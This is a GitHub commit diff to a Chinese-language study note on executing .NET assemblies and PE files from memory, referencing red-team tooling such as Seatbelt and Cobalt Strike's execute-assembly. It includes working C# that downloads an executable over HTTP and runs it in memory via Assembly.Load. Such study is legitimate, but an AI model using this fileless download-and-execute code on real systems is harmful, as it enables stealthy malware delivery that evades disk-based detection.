Skip to content

Commit 1d76d4d

Browse files
author
xiaomengsong
committed
浅改一下-内存加载执行.Net程序集
1 parent 5d11017 commit 1d76d4d

File tree

1 file changed

+72
-32
lines changed

1 file changed

+72
-32
lines changed

src/develop/CSharp/PELoader.md

Lines changed: 72 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,15 @@
11
# 内存加载执行文件的方法
22

3+
4+
35
分两部分:
46

57
* .NET程序集
68
* PE文件
79

810
## 0. 执行本地文件
911

10-
此处以C#和C++为例:AI都会写
12+
此处以C# C++ Java为例:AI都会写
1113

1214
### exe
1315

@@ -58,6 +60,26 @@ int main()
5860
}
5961
```
6062

63+
Java
64+
65+
```java
66+
public void exeExecute(String filePath) {
67+
68+
try {
69+
// 创建进程
70+
ProcessBuilder processBuilder = new ProcessBuilder(filePath);
71+
processBuilder.redirectErrorStream(true); // 合并错误流
72+
Process process = processBuilder.start();
73+
74+
// 等待进程结束
75+
int exitCode = process.waitFor();
76+
System.out.println("Exited with code: " + exitCode);
77+
} catch (IOException | InterruptedException e) {
78+
e.printStackTrace();
79+
}
80+
}
81+
```
82+
6183

6284

6385
### dll
@@ -112,6 +134,10 @@ int main()
112134
}
113135
```
114136
137+
Java调用第三方dll有点困难,需要dll的源码中实现了JNI方法,此处就不写了。
138+
139+
140+
115141
116142
117143
## 1. managed代码内存加载.NET程序集
@@ -120,7 +146,11 @@ int main()
120146
121147
使用C#从内存中加载.NET程序集,直接用`Assembly.Load`就行了。
122148
123-
[Assembly.Load Method (System.Reflection) | Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5)
149+
> [从内存加载.NET程序集(Assembly.Load)的利用分析](https://3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(Assembly.Load)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90)
150+
>
151+
> [Assembly.Load Method (System.Reflection) | Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5)
152+
153+
124154
125155
### 1.1. 三种Load的区别
126156
@@ -134,8 +164,6 @@ int main()
134164
135165
### 1.2. C#反射加载流程
136166
137-
**(1) 编写测试程序**
138-
139167
测试程序的代码如下:
140168
141169
```csharp
@@ -169,7 +197,9 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.c
169197

170198
生成testcalc.exe
171199

172-
**(2) 测试的.exe作base64编码**
200+
#### 方法1
201+
202+
**(1)测试的.exe作base64编码**
173203

174204
代码如下:
175205

@@ -191,7 +221,7 @@ namespace TestApplication
191221
}
192222
```
193223

194-
**(3) 还原.exe的内容**
224+
**(2)还原.exe的内容**
195225

196226
```csharp
197227
using System;
@@ -210,7 +240,7 @@ namespace TestApplication
210240

211241

212242

213-
**(4) 使用Assembly.Load()加载程序集并调用方法**
243+
**3使用Assembly.Load()加载程序集并调用方法**
214244

215245
代码如下:
216246

@@ -252,48 +282,56 @@ namespace TestApplication
252282
string base64str = "xxxxxx"; //此处省略一万字
253283
byte[] buffer = Convert.FromBase64String(base64str);
254284

285+
// 这里的Assembly.Load可以读取字符串形式的程序集,也就是说exe文件不需要写入硬盘
255286
Assembly assembly = Assembly.Load(buffer);
287+
// 以exe为例,如果是dll文件就必须指定类名函数名
256288
MethodInfo method = assembly.EntryPoint;
289+
method.Invoke(null, null);
257290
// 想要指定参数
258-
object[] parameters = new[] {"-a","-b"};
259-
method.Invoke(null, parameters);
291+
// object[] parameters = new[] {"-a","-b"};
292+
// method.Invoke(null, parameters);
260293
}
261294
}
262295
}
263296
```
264297

265-
### 1.3. 示例代码
298+
#### 方法2
266299

267-
#### c#
300+
远程下载
268301

269302
```csharp
270-
using System;
271-
using System.IO;
272-
using System.Reflection;
273-
274-
namespace MemoryLoadApplication
275-
{
276-
277-
class Program
303+
public class remote
278304
{
279-
280-
static void Main(string[] args)
305+
public static void MemoryExecutor()
281306
{
307+
// 方法1. 把exe文件给base64编码,然后保存在一个常量里, 转成byte数组,放到Assembly.Load函数里
308+
// string base64String = Constants.Base64Exe;
309+
// byte[] buffer = Convert.FromBase64String(base64String);
282310
283-
byte[] buffer = File.ReadAllBytes(@"C:\Users\Black Sheep\source\repos\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe");
284-
string base64str = Convert.ToBase64String(buffer);
285-
string dir = Directory.GetCurrentDirectory();
286-
buffer = Convert.FromBase64String(base64str);
287-
File.WriteAllText($"{dir}\\base64.txt", base64str);
288-
Assembly assembly = System.Reflection.Assembly.Load(buffer);
289-
assembly.EntryPoint.Invoke(null, new object[] { args });
290-
311+
// 方法2. 远程下载exe,赋值给一个字符串类型的变量
312+
byte[] buffer = GetRemoteByte("http://127.0.0.1:8000/testcalc.exe");
313+
314+
Assembly assembly = Assembly.Load(buffer);
315+
MethodInfo method = assembly.EntryPoint;
316+
method.Invoke(null, null);
317+
}
318+
319+
320+
private static byte[] GetRemoteByte(string serviceUrl)
321+
{
322+
WebClient client = new WebClient();
323+
byte[] buffer = client.DownloadData(serviceUrl);
324+
return buffer;
291325
}
326+
292327
}
293-
}
294328
```
295329

296-
#### powershell
330+
331+
332+
### 1.3. powershell
333+
334+
> https://idiotc4t.com/code-and-dll-process-injection/.net-fan-she-jia-zai
297335
298336
powershell访问.net程序集的代码比较简单
299337

@@ -367,7 +405,7 @@ CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行
367405

368406
[![image-20220114182256752](img/PELoader/image-20220114182256752.png)](https://0pen1.github.io/2022/02/09/net程序集内存加载执行技术/net程序集内存加载执行技术.assets/image-20220114182256752.png)
369407
370-
接下来进入spawn方法,可以看到是**通过反射DLL的方法,将invokeassembly.dll注入到进程当中**这块也不知道咋实现的),并且设置任务号为70x86版本)或者71x64)。注入的invokeassembly.dll在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
408+
接下来进入spawn方法,可以看到是**通过反射DLL的方法,将invokeassembly.dll注入到进程当中**这块还没自己实现过),并且设置任务号为70x86版本)或者71x64)。注入的invokeassembly.dll在其内存中创建CLR环境,然后通过管道再将C#可执行文件读取到内存中,最后执行。
371409

372410
```java
373411
public void spawn(String var1) {
@@ -481,6 +519,8 @@ namespace TEST
481519

482520
### 2.4. 内存加载执行.NET程序集
483521

522+
>
523+
484524
1.初始化CLR环境(同上)
485525

486526
```cpp

0 commit comments

Comments
 (0)